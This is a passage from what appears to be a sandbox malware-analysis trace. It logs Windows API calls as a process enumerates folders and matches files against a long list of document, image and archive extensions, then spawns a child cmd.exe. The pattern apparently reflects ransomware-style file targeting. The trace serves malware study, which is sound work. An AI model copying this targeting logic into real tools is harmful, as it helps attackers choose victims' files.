returned 1 [0087.531] lstrlenW (lpString=".p7c") returned 4 [0087.531] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".pam") returned 4 [0087.531] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".pbm") returned 4 [0087.531] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".pct") returned 4 [0087.531] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".pcx") returned 4 [0087.532] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pdd") returned 4 [0087.532] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pdf") returned 4 [0087.532] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pdp") returned 4 [0087.532] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pef") returned 4 [0087.532] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pem") returned 4 [0087.532] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pff") returned 4 [0087.532] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pfm") returned 4 [0087.532] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pfx") returned 4 [0087.532] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pgm") returned 4 [0087.532] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".php") returned 4 [0087.532] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".php3") returned 5 [0087.532] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".php4") returned 5 [0087.532] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".php5") returned 5 [0087.532] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".phtml") returned 6 [0087.532] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0087.532] lstrlenW (lpString=".pict") returned 5 [0087.532] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".pl") returned 3 [0087.532] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0087.532] lstrlenW (lpString=".pls") returned 4 [0087.532] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pm") returned 3 [0087.532] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0087.532] lstrlenW (lpString=".png") returned 4 [0087.532] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pnm") returned 4 [0087.532] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pot") returned 4 [0087.532] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".potm") returned 5 [0087.532] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".potx") returned 5 [0087.532] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".ppa") returned 4 [0087.532] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".ppam") returned 5 [0087.532] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".ppm") returned 4 [0087.532] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".pps") returned 4 [0087.532] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0087.532] lstrlenW (lpString=".ppsm") returned 5 [0087.532] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0087.532] lstrlenW (lpString=".ppt") returned 4 [0087.533] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".pptm") returned 5 [0087.533] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0087.533] lstrlenW (lpString=".pptx") returned 5 [0087.533] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0087.533] lstrlenW (lpString=".prn") returned 4 [0087.533] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".ps") returned 3 [0087.533] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0087.533] lstrlenW (lpString=".psb") returned 4 [0087.533] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".psd") returned 4 [0087.533] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".pst") returned 4 [0087.533] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".ptx") returned 4 [0087.533] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".pub") returned 4 [0087.533] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".pwm") returned 4 [0087.533] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".pxr") returned 4 [0087.533] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".py") returned 3 [0087.533] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0087.533] lstrlenW (lpString=".qt") returned 3 [0087.533] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0087.533] lstrlenW (lpString=".r3d") returned 4 [0087.533] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".raf") returned 4 [0087.533] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0087.533] lstrlenW (lpString=".rar") returned 4 [0087.533] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.533] FindClose (in: hFindFile=0x562470 | out: hFindFile=0x562470) returned 1 [0087.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4031060 | out: hHeap=0x4f0000) returned 1 [0087.533] FindNextFileW (in: hFindFile=0x5622b0, lpFindFileData=0x379f310 | out: lpFindFileData=0x379f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0087.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4031060 [0089.028] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.028] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0089.029] FindClose (in: hFindFile=0x562b30 | out: hFindFile=0x562b30) returned 1 [0089.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4041230 | out: hHeap=0x4f0000) returned 1 [0089.030] FindNextFileW (in: hFindFile=0x562af0, lpFindFileData=0x379f310 | out: lpFindFileData=0x379f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0089.030] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4041230 [0089.030] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x562b30 [0089.085] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.085] FindNextFileW (in: hFindFile=0x562b30, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 Thread: id = 70 os_tid = 0x6f4 Thread: id = 74 os_tid = 0x718 Thread: id = 75 os_tid = 0x71c Process: id = "10" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x74423000" os_pid = "0x5e4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x568" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ecf6" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0x5e8 [0086.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x31f9b0 | out: lpSystemTimeAsFileTime=0x31f9b0*(dwLowDateTime=0xe7a30bc0, dwHighDateTime=0x1d681e0)) [0086.261] GetCurrentProcessId () returned 0x5e4 [0086.261] GetCurrentThreadId () returned 0x5e8 [0086.261] GetTickCount () returned 0x112e927 [0086.261] QueryPerformanceCounter (in: lpPerformanceCount=0x31f9b8 | out: lpPerformanceCount=0x31f9b8*=5983672632) returned 1 [0086.262] GetModuleHandleW (lpModuleName=0x0) returned 0x4a390000 [0086.262] __set_app_type (_Type=0x1) [0086.262] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a3b7810) returned 0x0 [0086.262] __getmainargs (in: _Argc=0x4a3da608, _Argv=0x4a3da618, _Env=0x4a3da610, _DoWildCard=0, _StartInfo=0x4a3be0f4 | out: _Argc=0x4a3da608, _Argv=0x4a3da618, _Env=0x4a3da610) returned 0 [0086.269] GetCurrentThreadId () returned 0x5e8 [0086.269] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5e8) returned 0x3c [0086.270] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77a10000 [0086.270] GetProcAddress (hModule=0x77a10000, lpProcName="SetThreadUILanguage") returned 0x77a26d40 [0086.270] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0086.270] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.270] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x31f948 | out: phkResult=0x31f948*=0x0) returned 0x2 [0086.270] VirtualQuery (in: lpAddress=0x31f930, lpBuffer=0x31f8b0, dwLength=0x30 | out: lpBuffer=0x31f8b0*(BaseAddress=0x31f000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.270] VirtualQuery (in: lpAddress=0x220000, lpBuffer=0x31f8b0, dwLength=0x30 | out: lpBuffer=0x31f8b0*(BaseAddress=0x220000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.270] VirtualQuery (in: lpAddress=0x221000, lpBuffer=0x31f8b0, dwLength=0x30 | out: lpBuffer=0x31f8b0*(BaseAddress=0x221000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.270] VirtualQuery (in: lpAddress=0x224000, lpBuffer=0x31f8b0, dwLength=0x30 | out: lpBuffer=0x31f8b0*(BaseAddress=0x224000, AllocationBase=0x220000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.270] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x31f8b0, dwLength=0x30 | out: lpBuffer=0x31f8b0*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.270] GetConsoleOutputCP () returned 0x1b5 [0086.270] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0086.271] SetConsoleCtrlHandler (HandlerRoutine=0x4a3b3184, Add=1) returned 1 [0086.271] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.271] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0086.271] _get_osfhandle (_FileHandle=1) returned 0xf4 [0086.271] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a3be194 | out: lpMode=0x4a3be194) returned 0 [0086.271] _get_osfhandle (_FileHandle=0) returned 0xe8 [0086.271] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a3be198 | out: lpMode=0x4a3be198) returned 0 [0086.271] GetEnvironmentStringsW () returned 0xe8aa0* [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xab4) returned 0xe9560 [0086.272] FreeEnvironmentStringsW (penv=0xe8aa0) returned 1 [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x8) returned 0xe8920 [0086.272] GetEnvironmentStringsW () returned 0xe8aa0* [0086.272] GetProcessHeap () returned 0xd0000 [0086.272] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xab4) returned 0xea020 [0086.272] FreeEnvironmentStringsW (penv=0xe8aa0) returned 1 [0086.272] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31e808 | out: phkResult=0x31e808*=0x44) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x0, lpData=0x31e820*=0x18, lpcbData=0x31e804*=0x1000) returned 0x2 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x1, lpcbData=0x31e804*=0x4) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x0, lpData=0x31e820*=0x1, lpcbData=0x31e804*=0x1000) returned 0x2 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x0, lpcbData=0x31e804*=0x4) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x40, lpcbData=0x31e804*=0x4) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x40, lpcbData=0x31e804*=0x4) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x0, lpData=0x31e820*=0x40, lpcbData=0x31e804*=0x1000) returned 0x2 [0086.272] RegCloseKey (hKey=0x44) returned 0x0 [0086.272] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x31e808 | out: phkResult=0x31e808*=0x44) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x0, lpData=0x31e820*=0x40, lpcbData=0x31e804*=0x1000) returned 0x2 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x1, lpcbData=0x31e804*=0x4) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x0, lpData=0x31e820*=0x1, lpcbData=0x31e804*=0x1000) returned 0x2 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x0, lpcbData=0x31e804*=0x4) returned 0x0 [0086.272] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x9, lpcbData=0x31e804*=0x4) returned 0x0 [0086.273] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x4, lpData=0x31e820*=0x9, lpcbData=0x31e804*=0x4) returned 0x0 [0086.273] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x31e800, lpData=0x31e820, lpcbData=0x31e804*=0x1000 | out: lpType=0x31e800*=0x0, lpData=0x31e820*=0x9, lpcbData=0x31e804*=0x1000) returned 0x2 [0086.273] RegCloseKey (hKey=0x44) returned 0x0 [0086.273] time (in: timer=0x0 | out: timer=0x0) returned 0x5f50cbe9 [0086.273] srand (_Seed=0x5f50cbe9) [0086.273] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0086.273] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0086.273] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0086.274] GetProcessHeap () returned 0xd0000 [0086.274] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x218) returned 0xeaae0 [0086.274] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xeaaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0086.274] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0086.274] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.274] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0086.274] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0086.274] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0086.274] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0086.274] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0086.274] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0086.274] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0086.274] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0086.274] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0086.274] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0086.274] GetProcessHeap () returned 0xd0000 [0086.274] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe9560 | out: hHeap=0xd0000) returned 1 [0086.274] GetEnvironmentStringsW () returned 0xe8aa0* [0086.274] GetProcessHeap () returned 0xd0000 [0086.274] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xacc) returned 0xead00 [0086.274] FreeEnvironmentStringsW (penv=0xe8aa0) returned 1 [0086.274] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0086.274] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a3bf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0086.274] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0086.274] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0086.274] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0086.274] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0086.274] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0086.274] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0086.274] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0086.274] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0086.274] GetProcessHeap () returned 0xd0000 [0086.274] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x38) returned 0xe64d0 [0086.275] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x31f610 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0086.275] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x31f610, lpFilePart=0x31f5f0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x31f5f0*="system32") returned 0x13 [0086.275] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0086.275] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x31f320 | out: lpFindFileData=0x31f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="Windows", cAlternateFileName="")) returned 0xeb7e0 [0086.275] FindClose (in: hFindFile=0xeb7e0 | out: hFindFile=0xeb7e0) returned 1 [0086.275] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x31f320 | out: lpFindFileData=0x31f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc396e580, ftLastAccessTime.dwHighDateTime=0x1d681e0, ftLastWriteTime.dwLowDateTime=0xc396e580, ftLastWriteTime.dwHighDateTime=0x1d681e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x59000158, cFileName="System32", cAlternateFileName="")) returned 0xeb7e0 [0086.275] FindClose (in: hFindFile=0xeb7e0 | out: hFindFile=0xeb7e0) returned 1 [0086.275] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0086.275] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0086.275] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0086.275] GetProcessHeap () returned 0xd0000 [0086.275] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xead00 | out: hHeap=0xd0000) returned 1 [0086.275] GetEnvironmentStringsW () returned 0xead00* [0086.275] GetProcessHeap () returned 0xd0000 [0086.275] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0xafc) returned 0xe8aa0 [0086.275] FreeEnvironmentStringsW (penv=0xead00) returned 1 [0086.275] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a3cc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0086.275] GetProcessHeap () returned 0xd0000 [0086.275] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xe64d0 | out: hHeap=0xd0000) returned 1 [0086.275] GetProcessHeap () returned 0xd0000 [0086.275] RtlAllocateHeap (HeapHandle=0xd0000, Flags=0x8, Size=0x4016) returned 0xead00 [0086.276] GetProcessHeap () returned 0xd0000 [0086.276] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0xead00 | out: hHeap=0xd0000) returned 1 [0086.276] GetConsoleOutputCP () returned 0x1b5 [0086.276] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a3cbfe0 | out: lpCPInfo=0x4a3cbfe0) returned 1 [0086.276] GetUserDefaultLCID () returned 0x409 